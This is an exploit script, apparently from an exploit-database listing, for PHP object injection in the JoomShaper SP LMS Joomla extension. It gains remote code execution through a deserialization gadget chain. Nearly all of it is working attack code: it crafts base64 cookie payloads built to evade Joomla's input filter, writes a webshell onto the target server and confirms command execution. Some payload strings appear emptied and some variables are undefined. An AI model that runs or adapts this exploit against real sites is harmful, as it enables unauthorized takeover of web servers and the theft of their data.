Exploit Ttile: Joomla Extension 4.1.4 - PHP Object injection Affected : JoomShaper SP LMS <= 4.1.3 Fixed : JoomShaper SP LMS >= 4.1.4 Author : Amin İsayev / Proxima Cyber Security Joomla version note: RCE requires Joomla < 5.2.2 Joomla >= 5.2.2 patched FormattedtextLogger.__wakeup() which blocks the gadget chain — PHP Object Injection still exists in com_splms but no known public gadget chain leads to RCE on patched Joomla versions. Attack chain: lmsOrders cookie → unserialize(base64_decode($cookie)) [com_splms/models/cart.php:28] → FormattedtextLogger.__destruct() [Joomla gadget] → File::write($path, $format) → webshell on disk Joomla Input filter note: $cookie->get() uses 'cmd' filter by default → strips '/', '=', '+' from cookie. Fix: pad format string so serialized total is divisible by 3 (no '=') and iterate until base64 has no '/' (shifts encoding). Format string uses hex2bin() to avoid forbidden chars: $ _ { } \n Usage: python3 CVE-2026-48909_exploit.py server_path = absolute PHP-writable path on server Examples : /var/www/html/tmp/x.php /home/USER/public_html/tmp/x.php /var/www/vhosts/site.com/httpdocs/tmp/x.php """ import sys import base64 import requests import urllib3 urllib3.disable_warnings() CART_PATH = "/index.php?option=com_splms&view=cart" TIMEOUT = 15 WEBSHELL = '' # ─── PHP serializer ─────────────────────────────────────────────────────────── def _s(s: str) -> str: return f's:{len(s.encode())}:"{s}";' def _pk(name: str) -> str: """Protected property key (null-byte notation for string concat)""" return f'\x00*\x00{name}' def _build_serialized(webshell_path: str, fmt: str) -> str: """Build the raw PHP serialized string (not yet base64).""" entry = ( 'O:23:"Joomla\\CMS\\Log\\LogEntry":3:{' 's:4:"date";s:10:"1234567890";' 's:4:"time";s:1:"t";' 's:1:"f";s:3:"xxx";' '}' ) cn = 'Joomla\\CMS\\Log\\Logger\\FormattedtextLogger' props = ( _s(_pk('defer')) + 'b:1;' + _s(_pk('options')) + 'a:1:{s:16:"text_file_no_php";b:1;}' + _s(_pk('path')) + _s(webshell_path) + _s(_pk('deferredEntries')) + f'a:1:{{i:0;{entry}}}' + _s(_pk('format')) + _s(fmt) + _s(_pk('fields')) + 'a:0:{}' ) return f'O:{len(cn.encode())}:"{cn}":6:{{{props}}}' def build_payload(webshell_path: str, php_code: str) -> tuple[str, int]: """ Craft a base64 cookie payload that survives Joomla's 'cmd' Input filter. The filter strips '/', '=' and '+'. We avoid these by: 1. Encoding php_code as hex → no '$', '_', '{', '}', '\\n' in format 2. Padding format to make total serialized length divisible by 3 → no '=' padding 3. Iterating pad size (by 3) until base64 contains no '/' chars Returns (base64_payload, format_length). """ hex_code = php_code.encode().hex() core = f'' PAD_CHARS = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' for target_fmt_len in range(200, 8000): pad_len = target_fmt_len - len(core.encode()) - len(pad_prefix) - len(pad_suffix) if pad_len < 0: continue # Quick mod-3 check with first pad_char before trying all 62 fmt_probe = core + pad_prefix + PAD_CHARS[0] * pad_len + pad_suffix ser_probe = _build_serialized(webshell_path, fmt_probe).encode('latin-1') if len(ser_probe) % 3 != 0: continue # no pad_char can fix mod-3 alignment for this length for pad_char in PAD_CHARS: fmt = core + pad_prefix + pad_char * pad_len + pad_suffix serialized = _build_serialized(webshell_path, fmt) ser_bytes = serialized.encode('latin-1') b64 = base64.b64encode(ser_bytes).decode() if '/' not in b64 and '+' not in b64: return b64, len(fmt) raise RuntimeError("Could not find filter-safe payload — try a different path") # ─── Exploit ────────────────────────────────────────────────────────────────── def _server_path_to_url(server_path: str) -> str: """Strip webroot prefix to get the URL path.""" import re # cPanel: /home[N]/USER/public_html/... m = re.match(r'^/home\d*/[^/]+/public_html(/.*)', server_path) if m: return m.group(1) # Plesk: /var/www/vhosts/DOMAIN/httpdocs/... m = re.match(r'^/var/www/vhosts/[^/]+/(?:httpdocs|htdocs|web)(/.*)', server_path) if m: return m.group(1) # Standard for prefix in ('/var/www/html', '/var/www', '/srv/www', '/htdocs', '/www'): if server_path.startswith(prefix): return server_path[len(prefix):] return server_path def exploit(target: str, server_path: str) -> None: url_path = _server_path_to_url(server_path) cart_url = target.rstrip('/') + CART_PATH shell_url = target.rstrip('/') + (url_path if url_path.startswith('/') else '/' + url_path) session = requests.Session() session.verify = False session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', }) print(f"[*] Target : {target}") print(f"[*] Shell path : {server_path}") print(f"[*] Shell URL : {shell_url}") print("[*] Building filter-safe payload...") payload, fmt_len = build_payload(server_path, WEBSHELL) print(f"[*] Format len : {fmt_len} bytes | Base64 len: {len(payload)}") print(f"[*] Payload : {payload[:60]}...") print() try: r = session.get(cart_url, cookies={'lmsOrders': payload}, timeout=TIMEOUT) status = r.status_code if status == 500: print(f"[+] HTTP 500 — gadget triggered (FormattedtextLogger.__destruct)") elif status == 200: print(f"[?] HTTP 200 — payload may have been filtered or gadget not triggered") else: print(f"[?] HTTP {status}") except requests.RequestException as e: print(f"[!] Request failed: {e}") return import time; time.sleep(1) # Step 1: trigger the fopen/fwrite code in shell.php to overwrite with real webshell print("[*] Step 1: triggering fopen/fwrite loader...") try: r1 = session.get(shell_url, timeout=TIMEOUT) print(f"[*] Loader response: HTTP {r1.status_code} ({len(r1.text)} bytes)") except requests.RequestException as e: print(f"[!] Loader request failed: {e}") # Step 2: verify RCE print("[*] Step 2: checking shell...") try: rv = session.get(shell_url + '?c=id', timeout=TIMEOUT) if rv.status_code == 200 and 'uid=' in rv.text: print(f"\n[+] SHELL ACTIVE!") print(f"[+] id: {rv.text.strip()[:200]}") print(f"\n curl -sk '{shell_url}?c=COMMAND'") elif rv.status_code == 200 and len(rv.text.strip()) < 600: print(f"\n[~] File accessible:") print(f" {rv.text.strip()[:300]}") print(f"\n Try again: curl -sk '{shell_url}?c=id'") elif rv.status_code == 404: print(f"[-] Shell not found (404) — file not written or wrong path") print(f" Common paths: /tmp/x.php /images/x.php /cache/x.php") elif rv.status_code == 403: print(f"[~] 403 — file may exist but PHP not served there") else: print(f"[-] HTTP {rv.status_code}") except requests.RequestException as e: print(f"[!] Shell check failed: {e}") def main(): if len(sys.argv) < 3: print(__doc__) sys.exit(1) exploit(sys.argv[1], sys.argv[2]) if __name__ == '__main__': main()